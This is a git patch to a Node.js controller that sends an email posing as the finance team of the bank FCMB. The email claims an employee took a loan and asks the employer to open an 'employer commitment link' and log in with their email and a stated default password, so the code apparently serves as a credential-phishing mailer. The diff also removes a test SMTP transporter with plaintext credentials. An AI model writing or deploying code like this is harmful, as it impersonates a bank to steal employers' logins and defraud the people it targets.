From 7b4f0111d93b808a50e1ac9f98629d48e4856752 Mon Sep 17 00:00:00 2001 From: "CHIEFSOFT\\ameye" Date: Fri, 14 Jun 2024 09:14:37 -0400 Subject: [PATCH] fix --- controller/verifyEmployer.js | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) diff --git a/controller/verifyEmployer.js b/controller/verifyEmployer.js index 6cc1e7d..df08ade 100644 --- a/controller/verifyEmployer.js +++ b/controller/verifyEmployer.js @@ -15,7 +15,7 @@ export const verifyEmployer = async (req, res)=>{ "This serves as an employer’s commitment to notify you that your staff (Olanrewaju Badmus) who holds the position of software engineer in your organization took a loan facility from our bank and has prompted us to notify you so as to confirm his existence as a staff of your organization." + " Please click on the link below to confirm this before we can approve his loan\n " + "

\n" + - "***Employer commitment link (You are to login with this email address and default password 2345090)\n " + + "***Employer commitment link (You are to login with this email address and default password 2345090)\n " + "

\n" + "If you have any questions or concerns with respect to this email, please contact our finance department at finance@fcmb.webmail.\n \n Kind Regards,

\n" + "Finance team,
FCMB
\n"; @@ -24,15 +24,6 @@ export const verifyEmployer = async (req, res)=>{ console.log("verifyEmployer REQ-----------------------------------------"); console.log(req.body); console.log("verifyEmployer REQ========================================="); - const transporter2 = nodemailer.createTransport({ - host: "smtp.ethereal.email", - port: 587, - secure: false, // Use `true` for port 465, `false` for all other ports - auth: { - user: 'madilyn.medhurst@ethereal.email', - pass: 'wU3zwcKr538s9a8ybm' - }, - }); const transporter = nodemailer.createTransport({ service: "gmail",